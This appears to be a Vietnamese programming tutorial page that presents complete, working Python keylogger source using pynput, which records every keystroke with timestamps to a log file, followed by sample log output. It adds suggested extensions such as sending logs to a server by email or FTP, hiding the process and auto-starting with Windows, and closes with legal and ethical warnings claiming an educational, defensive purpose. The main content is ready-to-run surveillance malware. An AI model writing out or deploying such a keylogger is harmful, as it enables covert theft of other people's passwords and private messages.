Computer >> Hướng Dẫn Máy Tính >  >> Lập Trình >> Python

Thiết kế Keylogger trong Python với pynput

Keylogger là chương trình ghi lại mọi phím bấm (keystrokes) vào file log. Có thể ghi lại username, password, tin nhắn... Chỉ dùng cho mục đích học tập, nghiên cứu bảo mật, kiểm thử hệ thống có sự cho phép.

Cài đặt pynput

pip install pynput

Xây dựng Keylogger cơ bản

1. Import thư viện

from pynput.keyboard import Key, Listener
import logging

2. Cấu hình logging

log_dir = r"C:/Users/YourName/Desktop/"
logging.basicConfig(
    filename=log_dir + "keyLog.txt",
    level=logging.DEBUG,
    format='%(asctime)s: %(message)s'
)

3. Xử lý sự kiện nhấn phím

def on_press(key):
    logging.info(str(key))

4. Khởi động Listener

with Listener(on_press=on_press) as listener:
    listener.join()

Chương trình hoàn chỉnh

from pynput.keyboard import Key, Listener
import logging

log_dir = r"C:/Users/YourName/Desktop/"
logging.basicConfig(
    filename=log_dir + "keyLog.txt",
    level=logging.DEBUG,
    format='%(asctime)s: %(message)s'
)

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

Kết quả log (ví dụ)

2019-01-18 17:06:21,854: Key.cmd
2019-01-18 17:06:22,022: 'd'
2019-01-18 17:06:39,304: 'h'
2019-01-18 17:06:39,435: 'e'
2019-01-18 17:06:39,564: 'l'
2019-01-18 17:06:39,754: 'l'
2019-01-18 17:06:39,943: 'o'
2019-01-18 17:06:40,245: Key.space
2019-01-18 17:06:40,450: 'w'
...

Mở rộng (Nâng cao)

  • Ghi cả on_release để phát hiện tổ hợp phím (Ctrl+C, Alt+Tab...)
  • Mã hóa file log
  • Gửi log về server qua email/FTP (chỉ môi trường test được phép)
  • Ẩn tiến trình, tự khởi động cùng Windows

⚠️ Cảnh báo pháp lý & đạo đức

  • Cài keylogger vào máy người khác mà không có sự đồng ý là vi phạm pháp luật (xâm phạm quyền riêng tư, luật an ninh mạng)
  • Chỉ sử dụng trên máy tính của mình hoặc môi trường test có sự cho phép bằng văn bản
  • Phần mềm diệt virus sẽ phát hiện keylogger là malware
  • Mục đích bài viết: Hiểu cơ chế để phòng chống, không phải để tấn công